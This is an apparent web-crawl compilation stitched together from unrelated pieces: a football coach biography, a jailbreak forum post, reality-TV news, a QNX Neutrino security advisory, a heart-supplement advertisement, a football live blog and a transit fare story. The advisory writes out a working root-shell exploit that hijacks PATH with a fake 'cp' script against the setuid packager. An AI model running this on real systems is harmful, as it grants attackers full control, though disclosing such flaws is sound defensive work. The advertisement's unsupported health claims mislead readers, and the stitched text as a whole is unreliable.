McNeill's Weekly Press Conference
ECU Head Football Coach Ruffin McNeill Discusses The Upcoming Navy Game
McNeill's Weekly Press Conference

McNeill's Weekly Press Conference
Head Football Coach Ruffin McNeill Discusses The Upcoming Tulane Game
Marc Yellock, a four-year East Carolina letterman, is in his fourth season of his second tour of action with the Pirate coaching staff.
Yellock, who officially joined head coach Ruffin McNeill's staff on Feb. 2, 2010, added to his responsibilities a year later with oversight of the entire defensive line in ECU's newly-implemented 3-4 package after serving as ends coach during his initial campaign.
Many credited Yellock for his notable development and patience with the program's youngest unit in 2010 as the Pirates featured three freshmen and a sophomore on the depth chart for the majority of the season.
Two of his rookies, Matt Milner and Justin Dixon, wrapped up their first campaigns as ECU's sack leaders with 3.0 each. The pair, along with classmate Derrell Johnson, also combined for 15.5 tackles for lost yardage.
In 2011, he guided nose tackle Michael Brooks to a 55-tackle effort - the most among all Pirate linemen. Brooks also led the entire unit with 5.5 hits for lost yardage to help Yellock's line play an integral role in a defensive turnaround that enabled the Pirates to improve 64 places on the FBS total defense rankings (allowing 102.5 fewer yards per game in comparison to the previous year).
Brooks and Lee Pegues, who both earned All-Conference USA honors as ends, anchored Yellock's line in 2012. The duo, along with nose tackles Terry Williams and Terrell Stanley, combined to tally 149 stops and 17.5 TFLs to lead a rush defense that rated among the top four in the league.
Yellock has also provided off-the-field academic leadership as Milner became the first Academic All-America selection in the history of the Pirate football program in 2011 before following as a repeat choice a season later.
Before accepting the position as Elon's defensive line coach in 2006 where he helped guide the Phoenix to a Top 10 national ranking in the Football Championship Subdivision (FCS) final polls for the first time in school history, he spent two seasons as a defensive staff assistant under coaches John Thompson and Skip Holtz at ECU in 2004 and 2005, respectively.
Yellock's efforts at Elon played a key role in the Phoenix' rise to new heights in their 11-year Division I history, culminating with No. 9 standing in The Sports Network poll after a 9-3 campaign in 2009 that included an at-large selection into the FCS playoffs - also a first in program history.
Two of Yellock's linemen - Andre Campbell and Eric Ludwig - earned First-Team All-Southern Conference accolades in 2009. Campbell finished tied for 17th in the nation in tackles for loss and 22nd in sacks, while the duo was a key factor for an Elon unit that stood 11th nationally in total defense and 15th against the rush.
Yellock gained additional experience during the summer of 2009, completing an internship with the New Orleans Saints where he worked with the organization's defensive line and special teams unit.
During his four-year playing career at East Carolina which began in 1997 under Steve Logan, Yellock experienced action in 26 games and made 18 starts and was part of Pirate teams that advanced to a pair of bowl games in 1999 (Mobile Bowl) and 2000 (galleryfurniture.com).
His collegiate career followed four letterwinning campaigns as a defensive end at Person County High School in Roxboro, N.C., between 1992 and 1995.
After earning a bachelor's degree in chemistry from ECU in 2000, Yellock worked two years at Metric, Inc. of Greenville, serving as a lab analyst for one year and as an analytical chemist for one year before returning to football as a linebackers coach at J.H. Rose High School in 2002. He followed his one-year prep stint by joining the Pirate staff as a video intern in 2003 before being elevated to a staff assistant's position a year later.
Yellock, 35, is the father of twins - a boy, Hunter, and a girl, Taylor.

Hey all.
I seem to have a few weird issues after jailbreaking my iPhone 3G 3.0fw with Redsn0w.
1. When I get the notification that my battery is low, it gives me some ridiculous percentage like 356782% in the error message. The number in the top-right still reads correctly. (could this have something to do with SBSettings?)
2. I seem to have an issue with the iPod app remembering where I left off in my podcasts. It tracks it just fine until I reboot the phone at which point it loses my progress. Is that a jailbreak problem or a iPhone firmware problem?
Thanks for any help you guys have!

Summers guilty pleasures
Posted 27 May 2006 - 05:39 AM
Reality Television Is Hot This Summer
May 24, 2006
Remember the olden days of television? There was little new content for the summer, thus we had to be content to watch repeats with the exception of a few variety shows. An example of summer fare was The Summer Smothers Brothers Show circa the late sixties. There were other beach-related shows, too. But, that was about it. Mostly, television was reruns all through the lazy, hazy days of summer.
In the current TV market, networks compete with each other for viewers, and for the even more important advertising dollars. In scouting around for this year's summer shows, I found it to be a Summer of Reality TV more often than not. So, if you're not a reality television genre fan, you might end up with reruns or feel free to accompany your child to summer camp!
Now, this is by no means a complete list of all the new summer shows (and returning ones) for the season, but I took a look at the big networks to see the major players in the market.
On CBS this summer:
Of course, there's my guilty pleasure summer staple, Big Brother. This year, BB7 is being called Big Brother All-Stars. Mark Wednesday, June 21 on your calendar as the CBS website has this blurb posted:
For the first time in BIG BROTHER history worldwide, viewers will vote on which former HouseGuests will compete in BIG BROTHER 7: ALL-STARS. On CBS Wednesday, June 21 at 8PM ET/PT, Julie Chen will unveil the top 20 candidates from seasons past. Web voting opens right here [CBS.com site] after the show at midnight ET/9PM PT. The polls close Wednesday, June 28 at 11:59PM ET/8:59PM PT
On Thursday, July 6 at 8 PM ET/PT, it's the season premiere.
RockStar: Supernova will premiere on Wednesday, July 5 at 8 PM ET/PT. The second episode will be shown after the season premiere of Big Brother All-Stars the next day, then the regular day and time will be Wednesdays at 8 PM ET/PT. This is the second season for the show; last year's band was INXS. This season a new band (Supernova) will be formed with the winner accompanying former Motley Crüe drummer Tommy Lee, former Metallica guitarist Jason Newsted, and former Guns N' Roses guitarist Gilby Clarke. The music genre isn't so much my cuppa tea, so I probably won't tune in too much to the show, though I'll give it a look-see from time to time.
On ABC this summer:
ABC-TV only has one of its expected five summer reality shows featured on its website - How to Get the Guy - a "romantic reality series." The premiere is slated for Monday, June 12 at 10 PM ET/PT. I tend to not watch reality television dating shows, so don't look to me for reports on this one.
Other shows previously announced, but with no premiere dates available, are:
Master of Champions - Six competitors vying against each other in extreme challenges.
The One: Making a Music Star - This one follows musical academy aspiring singers and the audience will vote one candidate off each week. It sounds a bit lifted from American Idol in concept. I may or may not watch.
Buy It Now - This one is a bit of a fresh concept mixed with a house-makeover kind of family dream (or something similar). A family puts up prized possessions for auction on EBay; neighbors and friends also put items up for auction to help the family realize their dream. It's to be aired twice a week. I'm just using the remodel show concept as a comparison the dreams may be very different. Heck, they may want to go to DisneyWorld.
One Ocean View - Five young NYC professionals spend summer weekends at an exclusive beach. These Friends may remind us of The Real World as one of the producers of the MTV series has a hand in the series.
On NBC this summer:
Wednesday, June 21, starting at 8 PM ET/PT is the two-hour premiere of America's Got Talent. This one is on my list to watch. Created and produced by American Idol's Simon Cowell and hosted by Regis Philbin I predict a summer hit! Yes, a talent contest, but an all-encompassing one, not just singing. I'm psyched for the debut!
The other summer show on NBC that I'm very interested in watching is Treasure Hunters. It sounds like a cross between The Amazing Race and The Da Vinci Code (sans the religious aspect). The two-hour season premiere is on Sunday, June 18 starting at 8 PM ET/PT. After that, its regular day and time will be Mondays at 9 PM ET/PT. Here's a bit of what the NBC website had to say about the show:
In this fast-paced adventure reality series, multi-player teams try to stay one step ahead of each other as they are mentally and physically challenged in their quest of a promised hidden treasure. The teams must avoid elimination as they travel to historically significant locations where they must decipher cryptic codes and puzzles, each with a clue leading them closer to solving the ultimate puzzle, and obtaining the coveted grand prize.
Last Comic Standing returns for its third summer stint Tuesday, May 30 at 8 PM ET/PT. I may check it out now and then, but I lost interest in the show after the first season. I liked Rich Vos and he's a very local guy I actually talk to now and then, so I watched for him. Since then, yawn. (Well, for me, at least!)
On FOX this summer:
Hell's Kitchen's second season premieres Monday, June 12 at 9 PM ET/PT. I enjoyed the first season with really-ranting chef Gordon Ramsay. I'll be watching. Or taping.
On Thursday, May 25 (tomorrow) at 8 PM ET/PT, it's the second season premiere of So You Think You Can Dance. I can take this show or leave it. I enjoyed the start of last season, but lost interest halfway through the season. I'll probably give it a glance now and then dependent on what's up against it. And, no. I don't think I can dance. If you saw me dance, you'd agree.
So, there's a bit of what's on the TV this summer. I have a few shows I'm really looking forward to watching, but predict I'll be listening to a lot of music and reading. Oh. And watching Big Brother live feeds and blogging. Now, that's a summer!

Reality TV Only Gets Hotter This Summer
May 30, 2006
by Joe Reality
While Summer use to be a time for reruns, it is now the season of reality TV. In addition to returning Summer time favorites like Big Brother, Rock Star, Hells Kitchen, The Contender and So You Think You Can Dance, the networks are launching several new reality TV shows. Reality TV Magazine took a look at both the returning and the brand new shows, and here is our top five list of must see Summer time reality TV shows.
When in doubt, always go with a sure thing. Big Brother: All Stars will be the American Idol of the Summer season. Over its six seasons Big Brother has offered up a memorable cast of houseguests. Viewers are anxious to see some of their favorites get back into the house, and CBS is wisely giving viewers a vote in deciding who at least some of those houseguests will be.
Rock Star: Supernova is also highly anticipated, but were also nervous of if it can live up to its first season. Even though Rock Star: INXS ended on a high note, it started out very boring. J.D. Fortune made the show interesting by proving that sometimes the early villain can turn into the sentimental favorite and win. The success of Rock Star: Supernova will depend on there being contestants both entertaining and talented like J.D. Fortune.
The first season of Hells Kitchen introduced us to Chef Gordon Ramsay, who is often called the Simon Cowell of the Kitchen. Hells Kitchen wasnt the first reality TV Show to be set in a kitchen, but in our opinion, it was the best. We cant wait to watch Chef Ramsay flip plates of food into the contestants chests and scream at them until they break down into tears.
Our favorite new show is NBCs Treasure Hunters. Everyone knows that NBC needs a hit, and Treasure Hunters just might turn out to be it. Early previews for Treasure Hunters gives up hope that it will be an exciting and intense show. The trick will be that the show needs to become more than just an Amazing Race rip-off and play up the Da Vinci Code style puzzle solving aspects. Last Summer, Reality TV Magazine picked Rock Star: INXS and Hells Kitchen as our two favorite new shows, and both are coming back this year, so we hope to have a similar track record with Treasure Hunters.
The last show to make our list is sort of a new show and an old show. Last Comic Standing was a treat in its first two seasons, but NBC killed the show by basically trying to turn the third season into an All-Stars edition. The third season also ran in the Fall and the ratings werent good enough for a Fall show. Last Comic Standing belongs as a fun Summer show, and were glad to see it back where it belongs. NBC is also letting the audience pick the winner, which should add a whole new component to the show.
Some other reality shows that will be airing this Summer include So You Think You Can Dance 2, My Fair Brady, Fear Factor, Criss Angel: Mindfreak, The Contender 2, The One: Making A Music Star, StarTomorrow, Looking For Stars, One Ocean View, How To Get The Guy, Buy It Now, Tuesday Night Book Club, Solitary, Kathy Griffin: My Life On The D-List, and Americas Got Talent. At least one of these shows will probably be a surprise hit like Dancing With The Stars was last Summer. Were not sure which one (or more) will break out, but we plan to keep a close eye on The One: Making A Music Star and Americas Got Talent because they seem like possible candidates.

ABC cancels Buy it Now after eBay pulls out
ABCs Buy it Nowa feel-good series will help families realize one of their most meaningful dreams by putting a variety of prized possessions up for auction on eBay, according to a press releasehas been cancelled.
The series was to begin airing twice a week starting July 31. But production on the show will not happen, and thus the show will not air. Thats because eBay ultimately passed on getting involved with the show, Variety reports.
As Variety notes, This marks the second time an eBay-related show was announced, but ultimately didnt come to fruition. Sony Pictures TV spent several years developing a syndicated show tied to the auction site, bringing the show to NATPE in 2004, but that show was never picked up.

NBC, 'Grease' Go Together
Midseason show will pick cast members for revival
August 8 2006
NBC, already fulfilling the Vegas dreams of many a performer with "America's Got Talent," will try to pave a path to Broadway with a show scheduled for midseason.
Tell you more, tell you more? OK.
The show will be called "You're the One That We Want," and it will seek to find a Danny Zuko and Sandy Dumbrowski for a revival of "Grease" that opens next June, coinciding with the 35th anniversary of the show's Broadway debut. Beauty school dropouts may apply, but presumably a background in musical theater would be helpful too.
"The winning appeal of 'Grease' and its timeless score and storyline extends across all generations and will make for a fantastic series," says Craig Plestis, NBC's alternative-programming chief. "Americans have grown up with these catchy tunes and appealing characters, and we think they'll love the chance to select the next dynamic duo to play Sandy and Danny."
The show will put its contestants through a "Grease"-y televised audition, with viewers ultimately deciding who gets to play Sandy and Danny. The musical's co-creator, Jim Jacobs, revival director/choreographer Kathleen Marshall ("The Pajama Game," "Little Shop of Horrors") and producer David Ian will serve as judges.
"Grease" opened on Broadway in June 1972 after stints in Chicago and off-Broadway and ran for close to 3,400 performances, a record at the time. The 1978 movie version, starring John Travolta and Olivia Newton-John, is the highest-grossing movie musical ever and also spawned a mega-selling soundtrack.

Jimmy Kimmel Named Host Of Set For Life
Jimmy Kimmel, host of the late-night talk show "Jimmy Kimmel Live," is tapped to host the new primetime game show "Set for Life," premiering later this season on the ABC Television Network. "I tried to tell ABC that it is too difficult to do a talk show every night and an hour-long primetime show too," Jimmy Kimmel said. "Unfortunately, there's a 75-year-old man named Regis who seems to have no problem with it."
"We're thrilled to have Jimmy join 'Set for Life' as the host," said Andrea Wong, executive vice president, Alternative Programming, Specials & Late-Night for ABC-TV. "He brings a unique voice to the show along with intelligence, great comedic talent and an irreverence that's bound to make the experience memorable for the contestants and the audience."
"Jimmy Kimmel is the perfect choice to host 'Set for Life,'" said David Goldberg, president of Endemol USA. "He's got a great everyman quality that is as funny as it is relatable, and beyond that he's just a huge talent who naturally connects with his audience. He brings all of the intangibles that we look for when hiring a host, and then some. We are delighted to announce this news."
In the unpredictable, innovative new game show, "Set for Life" contestants have the opportunity to win a monthly payout for the rest of their lives. The contestants will never know if they have won or lost a fortune until their isolated partner joins them on stage at the end of the game.
In addition to his work on "Jimmy Kimmel Live," Kimmel co-created and executive-produces "Crank Yankers," which was recently picked up for a fifth season by MTV2, and "The Andy Milonakis Show," recently picked up for a third season by MTV2. Kimmel co-hosted Comedy Central's "The Man Show" for four seasons, served as on-air prognosticator for "Fox NFL Sunday" for four years, and for four seasons co-hosted Comedy Central's long-running and popular game show, "Win Ben Stein's Money." Kimmel received two Emmy nominations for his work with Ben Stein and won Best Game Show Host in 1999.

Summer reality TV season ends tonight as the fall season begins
Tonight, the last of the summer reality shows finally say goodbye, and the fall season officially begins. There is no rest in the world of reality television.
Big Brother 7 concludes tonight at 8 p.m. ET, and will include a live reunion and vote. Either Mike Boogie Malin or Erika will win the $500,000 prize, although one member of the jury will win $25,000 thanks to viewer votes. In other words, Janelle will win it.
Also at 8, ABC kicks off the third season of Dancing with the Stars 3, which features 11 celebrities and 11 actual dancers, some of whom are endorsed by actual politicians with nothing better to do with their time.
During the second hour of dancing celebrities, CBS will air Rock Star: Supernova, which will take a little bit longer to exit the stage. Tonight, its two-part finale begins with the final performance show at 9 p.m. Tomorrow night, the winner will be announced at 8 p.m. ETor, more correctly, probably around 8:50, knowing the way they pad these finales.
VH1 spins off Flavor of Love without Flavor but starring one of the show's women
Flavor Flav has now starred in four VH1 reality series, and even though Flavor of Love 2 is the networks highest-rated show (last Sundays episode was watched by 3.23 million people), this show will be the last of its kind. But it wont necessarily be the last time we see Flavor on VH1; the executive producer of all of his shows, Mark Cronin, tells Variety, We are developing new show ideas with him. We think its time for him to do something new. Hes funny and a likeable character.
But never fear, as Flavor of Love will actually return to the network. Following in the footsteps of the show it parodies, The Bachelor, the series will spin off a Bachelorette-style version of the show starring one of the women from the first two seasons.
That could be New York, who, having been invited back by Flavor last week, has now appeared on both seasons. Variety reports that VH1 has greenlit production on 10 episodes of an untitled series that will next year, likely in the Flavor Sunday night timeslot.
There is no word yet about which woman will fill Flavors shoes, but the series other executive producer, Cris Abrego, suggests the men cast will be as fun as the women on the first two seasons. Were able to cast guys you wouldnt normally see. Weve got investment bankers, lawyers, rappers, unemployed guys living at home The best part is each one believes they have amazing game, he said.

CW plans House of Horrors reality series
The CW is taking its reality TV in a direction quite opposite that of its one current reality series, Top Model. House of Horrors will find competitors trying to stay alive in a mysterious house in which they must face their darkest fears. One by one, players are killed off via elaborately staged deaths that will mix elements of the reality and horror genres, Variety reports.
That sounds somewhat like the hybrid series Murder in Small Town X, which aired on FOX five years ago. According to Variety, instead of gruesome chills, a la Saw, its believed Horrors will attempt to pull off the sort of fun scares found in pics such as the Scream franchise. Yes, being stabbed to death with a knife is much more fun that, say, getting your head squished in a big spikey clamp.
The series will be executive produced by director Sam Raimi and was created by Gunnar Witterberg, a producer on Treasure Hunters.

FOX Moves 'Lot' Premiere Date
First audition will air after Tuesday 'Idol' finale, not the penultimate episode
March 20, 2007
Steven Spielberg
FOX has pushed the season premiere of the summer series "On the Lot" back a week, given the filmmaking drama a different "American Idol" launching pad.
Originally set to premiere with a one-hour audition episode on Wednesday, May 16, "On the Lot" will instead have a two-hour, two-night audition premiere one week later.
The initial plan was to have the Mark Burnett/Steven Spielberg produced reality offering launch out of the penultimate "American Idol" episode and then take two weeks off before starting its regular schedule on May 28. Under the new schedule, "On the Lot" will premiere after the first part of the "American Idol" finale on Tuesday, May 22 at 9 p.m. ET. A second hour of auditions will air on Thursday, May 24 at 9 p.m. after the season premiere audition episode of "So You Think You Can Dance."
"Steven and I are enormously thrilled with the response we've had to the call for film submissions via our website thelot.com," Burnett says. "This confirms our notion that there is an incredible amount of talented filmmakers in the world looking for their big breaks. We are very excited that our partners at FOX have scheduled the launch of this series with the powerhouse 'American Idol' finale and the premiere of 'So You Think You Can Dance.' Coming off of the success of 'Are You Smarter than a 5th Grader?', launching out of 'American Idol' is a terrific move."
"On the Lot" will have a two-hour "Film Premiere" episode on Monday, May 28, introducing the 16 finalists and their first films. The next night, in an hour-long "Box Office" results show, beginning at 8 p.m., four finalists will be eliminated. Monday, June 4 will make the first regularly scheduled 9 p.m. "Film Premiere" episode with the first half-hour results show the next evening.
FOX claims to have received 12,000 video submissions from aspiring filmmakers. The show's eventual winner receives a $1 million DreamWorks development deal.

Despite this, Italians will not be without reality TV. RAIs competitor Mediaset has three private networks [that] serve a steady diet of reality shows, and the company has been linked in recent weeks to negotiations to acquire control of Dutch producer Endemol, creator of the highly successful Big Brother television franchise, the paper says.

QNX Software Systems Ltd.'s Neutrino RTOS (QNX) is a real-time operating system designed for use in embedded systems. "Companies worldwide like Cisco, Delphi, Siemens, Alcatel and Texaco depend on the QNX technology for network routers, medical devices, intelligent transportation systems, safety and security systems, next-generation robotics, and other mission-critical applications. In addition, QNX forms the core for Ford Motor Co.'s Lincoln Aviator IAV, an engineering concept vehicle. The new system supports the development of next-generation in-car communications,
infotainment, and telematics applications." More information is available at http://www.qnx.com/products/ps_neutrino.
Since a setuid root application packager within QNX inappropriately executes external applications without using their full paths, local attackers can potentially obtain root privilege. The following is a sample exploit (with comments):
The packager will at one point call the copy binary (cp). The first step is to create a tainted copy command and ensure it is executable. This copy command will copy a shell to /tmp and give the shell setuid privilege:
$ cat > cp <<EOF
> #!/bin/sh
> /bin/cp /bin/sh /tmp/sh
> chmod 4755 /tmp/sh
$ chmod 755 cp
The attacker then modifies the PATH environment variable to search the current working directory before anything else:
The attacker now creates a directory and calls the packager on that created directory:
$ mkdir temp
$ packager temp
The packager will ask a number of questions. When the procedure is complete, a root shell will be waiting for the attacker:
$ ls -l /tmp/sh
-rwsr-x r-x 1 root 100 153908 May 11 05:36 /tmp/sh
Local attackers that exploit this vulnerability can potentially gain total control over a targeted system. The fact that exploitation must be done locally makes it more unlikely that damage can be done quickly or in a widespread fashion. Still for organizations that may still be making use of QNX, insider threat is still a real danger.
QNX Neutrino RTOS 6.2.0 is affected. Re-create the above-described exploit scenario to determine susceptibility of an arbitrary RTOS implementation.
Use the command chmod -s 'which packager' to remove the setuid bit from the packager binary.
QNX Neutrino RTOS 6.2.1 which is slated to be released in January 2003, should fix this vulnerability. According to QNX, concerned customers can contact their sales rep for an advance copy.
The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project assigned the identification number CAN-2002-1239 to this issue.

Key ingredients:Serrapeptase, Coenzyme Q10, Taurine, Hawthorn and Magnesium
Advanced Cardio Solution™ helps you...
You can improve your overall cardiovascular health and maintain optimal heart health for decades by doing three simple things:
Easier said than done, right?
So you turn to natural supplements to support your heart. They're safer, but you end up popping 6... 12... or even 14 pills TWICE a day-and spend a small fortune in the process.
It's enough to make you want to give up in frustration, but don't throw in the towel just yet. There's a better way to maintain healthy blood pressure... normal cholesterol levels... and optimum blood circulation-and it won't put you in the poor house...
A breakthrough new formula developed by a team of scientists, researchers and specialists gives you the BEST in blood pressure... circulation... and cholesterol support-all in one easy-to-take capsule.
That's right... Advanced Cardio Solution™-only available from Health Resources™-packs the heart help you need into ONE single capsule...
...Making it simple for you to maintain a strong, healthy heart!
This remarkable heart-healthy formula contains five powerful, targeted nutrients specifically designed to promote healthy blood pressure... balanced cholesterol levels... and enhance blood circulation throughout your entire body. These ingredients include...
Serrapeptase-This revolutionary nutrient enables the silk worm to break out of its cocoon and become a moth. So just imagine how powerfully it can work for you! Research has found that this MUST-HAVE protective nutrient helps promote clear, healthy arteries... balance the inflammatory response... promote healthy blood flow... and block pain enzymes.
Coenzyme Q10 (CoQ10)-This amazing antioxidant is the "energy switch" that powers up the 100 trillion cells in your body-and provides the critical spark your heart needs to keep on ticking. Studies show that CoQ10 helps promote healthy blood pressure... improved circulation... and better overall heart health. Plus, the award-winning form of CoQ10 in Advanced Cardio Solution™ has the patented VESIsorb® delivery system-which makes it a whopping 622% more bioavailable than leading competitors.
Taurine-This powerful amino acid helps protect your endothelium-the lining inside your blood vessels that helps blood flow freely and keeps the inside of your arteries smooth. Studies have found that taurine helps improve endothelium function... and support healthy cholesterol levels-optimizing heart... brain... and even vascular function.
Hawthorn-This amazing heart-helping nutrient has been used to help boost blood flow and enhance total body circulation for hundreds of years. More recent research has found that hawthorn also helps promote optimal heart function... promote healthy blood pressure and cholesterol levels... strengthen your heart muscle wall... and support normal blood clotting.
Magnesium-This mineral is your ultimate dual-power heart saver. It works wonders to support your blood-by removing fibrin and other cellular debris that may impair smooth blood flow. It also helps your heart muscle to relax-which is critical for your heart health. And as a bonus, it helps your other muscles to relax as well-easing muscle soreness... Charlie horses... and even restless nights.

FA Community Shield
August 12, 2012
- FTFT1Chelsea
Man City2
FULL TIME - An entertaining game and a deserved win for City. The game changed on Ivanovic's sending off, which was harsh to say the least. Tevez and Toure looked very good indeed, while Mata and Hazard failed to fire for the Blues. City will beat the team to beat in the Premier League on this evidence. As curtain raisers for the season go, this was a good 'un.
Chelsea's corner is claimed by Pantilimon and then he releases Silva with City men breaking forward. Ramires blocks off Silva and should really be carded, but he's already on a yellow so the ref decides a ticking off will do.
Chelsea win a corner as Kolarov conceded possession needlessly.
Four added minutes as Dzeko is played through but he dawdles a bit and Terry dives in to steal the ball.
A sitter missed by Aguero! A lovely move as Toure ran free then fed Milner, he squares it to Aguero but the striker scuffs wide from eight yards out.
Very nearly a fourth for City as Chelsea commit men forward. Milner crosses and Silva's header is saved on the line by Cech.
Tevez trots off after a very good shift. He looks fit and hungry. Edin Dzeko replaces him.
An errant touch from Torres as Ramires raided down the right. Good spirit from Chelsea in the last ten minutes.
Lampard does well to nick the ball from Tevez as the Argentine harried into the box. Kolarov was in space too.
Bertrand has been busy since he came on, slipping Cole inside the area just then but Zabaleta stood firm.
Chelsea are giving it a go though, as they win a corner and send men forward. Could well be another goal in this game.
Hopefully that will set up a grandstand finish but with Chelsea tiring, and a man down, City should be able to hold on - barring any more goalkeeping errors.
Double yellows for Pantilimon and Bertrand too as the battle over the ball once it had hit the net. The goalkeeper at fault for not holding onto Sturridge's effort, certainly. A sniff for chelsea.
GOAL Bertrand pulls one back after Pantilimon spills Sturridge's low shot.
Yaya Toure spanked Manchester City onto level terms and the Premier League champs kicked on from there
Lampard clatters into Milner as Chelsea's frustrations boil over a little.
Nasri off, to be replaced by David Silva.
Very nearly a chance for Kolarov to make it four as Tevez rolled a delicate pass into the area but Cech was alive to it and sank on the ball.
The game has taken on a pre-season friendly feel now, after a pretty ferocious first hour.
Now Sturridge comes on for Mata.
City utterly dominant now, keeping the ball and spraying it around.
A Chelsea change: Hazard makes way and Ryan Bertrand comes on.
Hazard dwells on the ball a little and Zabaleta slides in to win back possession.
A City corner drops on the edge of the box to Nasri but he slices his half volley wide.
Bit of a disservice to Nasri saying he poked that one home, it was a very good finish to what was a strongly hit cross from Kolarov. City are running riot now.
GOAL Game over I would suggest - Nasri pokes home Kolarov's cross and that is 3-1 City.
Ramires fires a shot in on goal but it was always right down Pantilimon's throat.
Now Cole is booked for a petulant kick on Tevez.
Zabaleta clips Hazard who goes down a little easily again. Cole takes the free kick quickly and wastes possession.
Two goals in six minutes for City and nearly a penalty too as Luiz barges Tevez inside the box. Tevez gets up smartly and wins a corner.
GOAL Tevez with a stunner! What a strike! He took the ball from Nasri, cut inside and laced a shot into the top corner past a motionless Cech. Man City 2-1 Chelsea.
Torres is working his socks off this afternoon and does well there to win a free kick and buy Chelsea some time.
Good work from Ashley Cole as he halts a promising City break down the left. Can Chelsea weather the storm?
Man City 1-1 Chelsea John Terry's attempted clearance from a corner fell to Toure on the edge of the box and he fired a low drive past Petr Cech. Game on.
A fine finish from Toure, after what was a slightly muffed first touch. Cech had his angles just about right but it was the power that beat him.
GOAL Yaya Toure smashes it home.
Torres is in the mood here, as he charges at City again and draws a block from Kompany. Yellow for City's skipper.
Torres is in the mood here, as he charges at City again and draws a block from Kompany. Yellow for City's skipper.
With less than a week to go until the start of the new Premier League season there is still time to sign up for ESPN's Premier Fantasy game. All the information you need is right here.
Great burst from Torres as he pokes the ball past Clichy and is only thwarted by Kolarov at the last.
We are back, and with a change as Gael Clichy replaces Savic.
Branislav Ivanovic walks off the pitch after being red carded for a shin-high tackle on Aleksandar Kolarov
While Manchester City are also on the hunt for new talent, and the breaking news this afternoon is that they have agreed a fee with Everton for Jack Rodwell.
Plenty of good stuff on Soccernet this Sunday. Firstly, Alex Ferguson has stepped up Man Utd's pursuit of Robin Van Perise.
HALF TIME The whistle is greeted with a chorus of boos and a sweary chant aimed at Kevin Friend by the Chelsea fans. A fiery game so far, Chelsea a goal up and a man down.
This game is getting tasty - Lampard charges in on Milner, winning the ball but catching the player. Kevin Friend isn't doing a particularly good job so far I don't think.
After all that, City have a free kick 20 yards out to the left of the area, and Milner curls it to the near post where Cech meets it comfortably.
Two-feet were raised and it didn't look great but I don't think that is a red card. Prior to that he gave City a free kick when it looked like he impeded Torres. Had Chelsea won the foul, Savic would have been off.
Kevin Friend has sent off Ivanovic for a lunging tackle provoking familiar scenes as both sets of players surround the ref. He went in two-footed but his feet weren't high. Unfortunate I'd say.
Superb work from Ramires to set that goal up. He decieved Savic then offloaded at just the right time. Good finish from Torres too.
GOAL Torres strikes! What a big goal that could be in his Chelsea career. Ramires danced into the box, flicked the ball to his right and Torres pokes home from seven yards.
Ivanovic looks for the marauding Lampard with a long ball but Kompany read it well and nods clear.
Torres clips a ball into the box but Zabaleta clears and now Tevez tries to find Aguero but Luiz knocks the ball out of play.
Hazard lobs a ball into the area looking for Mata but Pantilimon is out smartly to claim the ball.
Ashley Cole whacks a shot well over the bar from range.
City have looked very strong here - enjoying most of the possession, solid at the back and creating decent openings.
Ramires is carded for a blatant trip on Nsari. Yaya Toure all the while chirping at the referee.
Two efforts on goal from City - first Tevez, then Milner, both blocked.
Hazard has a pop on goal but Pantilimon saves his daisy cutter. David Dunn is now trending on Twitter thanks to Hazard's fall a moment ago.
Chelsea work a corner short, to Mikel, but his shot from 35 yards is miles wide. Not to mention high.
Another cross from Milner - City have had some joy down the right - but this one is poor.
Fernando Torres does battle with Vincent Kompany. Guess who won?
First decent effort from Chelsea as Ramires squares for Lampard but he can't get enough purchase on it to worry Pantilimon who catches comfortably.
Good early cross from Milner and Aguero gets to it first but his glancing header is too thin to trouble the far post. Good move though.
Luiz pumps the ball long to Torres. Not the kind of service he wants.
Predictably, the lament of "What a waste of money," rings round Villa Park.
Uproar from the City fans as Hazard falls over attempting a back heel. Not quite a David Dunn moment but not far off.
Kompany flicks Milner's corner on at the near post but it is right at Cech.
This time Tevez tries to get the better of Luiz. He stands firm and wins a corner.
City looking dangerous here as Milner gets plenty of room on the right and attempts a cross before Cole gets back to block. Corner.
Aguero squanders a really good chance for City with an errant touch before Luiz closed him down - Nasri was free and in on goal to his left.
John Terry gees up Chelsea's new signing Eden Hazard before kick-off
Milner can't quite keep the ball in after tricking his way to the byline.
Roy Hodgson is in attendance, after a well earned rest following Euro 2012. Seems a long time ago now doesn't it?
Poor free kick from Mata from the right hand side. City look sharper in the opening 12 minutes, no doubt.
First yellow of the game, for Savic, who was late on Hazard.
City's fans have a new song, it goes: "We won the league in Fergie-time."
Milner intercepts a Mata pass that was meant for Torres. Chelsea haven't quite got going in an attacking sense yet.
Corner for City and Nasri will take it, Ivanovic flicks behind for another from the opposite side.
Hazard gets his first ticking off from a referee for diving as he hit the turf under no contact from Toure. Thunderous pace to the game as Luiz now fouls Aguero.
Lampard is caught late by De Jong - the latest in a steady line of fierce tackles.
Luiz gives away a free kick and from it Tevez nearly profits. Nasri turns the ball back in and Lampard clears.
Then Torres' first involvement is far from exemplary - losing possession when a fast break was on.
Good early break from City as Nasri looked to weave his way through Chelsea's back line but an errant touch allows Ramires to bring the ball away.
So, football, welcome back. Here we go....
Plenty of empty seats at Villa Park too. Good job it isn't at Wembley - it'd be about a third full.
Of course, the Olympics is the reason the game is being held at Villa Park and not Wembley, given how London is slightly preoccupied with hosting the biggest sporting show on earth.
The national anthem is belted out at Villa Park. Usually when I've heard that in the last few weeks it has heralded another Team GB gold medal at the Olympics and I've found myself welling up with pride. No sniffles today though.
As for City, Joe Hart is injured so Pantilimon takes his place. Tevez and Aguero start up front, Balotelli isn't even on the bench though he is at the ground, while Yaya Toure, De Jong and Milner anchor the midfield.
As for the team news, Chelsea line up with Torres up top - a big season for that particular chap - while Hazard gets his full debut. Mata and Ramires will also support Torres while John Terry skippers the side.
An interesting snippet of news coming out before the game as Manchester City confirm on their website that they have agreed a fee for Everton's Jack Rodwell. Have a read of our full story here.
Before the action gets underway, in about ten minutes, why not have a read of Jon Carter's match preview as the battle for supremacy in England begins again.
The traditional curtain raiser for the Premier League season is upon us with the Community Shield kicking off at 1330 BST. It is the FA Cup winners Chelsea against the Premier League champions Manchester City. And it's our first real glimpse of Chelsea's new talent, including Eden Hazard.

Metra hikes price of 10-ride ticket
BY TINA SFONDELES email@example.com November 16, 2012 7:12PM
Passengers board a Chicago bound Metra train at Union Station. | Joseph P. Meier~Sun Times Media
Updated: January 16, 2013 1:56AM
CHICAGO — Metra riders will pay more for 10-ride tickets beginning as soon as February.
The Metra board on Friday voted 8 to 2 to approve a fare hike to generate an estimated $8.3 million. Riders will pay what equates to 10-one way fares for 10, instead of paying the equivalent of nine one-way tickets.
